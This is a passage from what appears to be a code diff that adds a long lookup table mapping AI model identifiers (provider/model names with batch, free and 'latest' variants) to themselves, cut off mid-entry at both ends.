'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 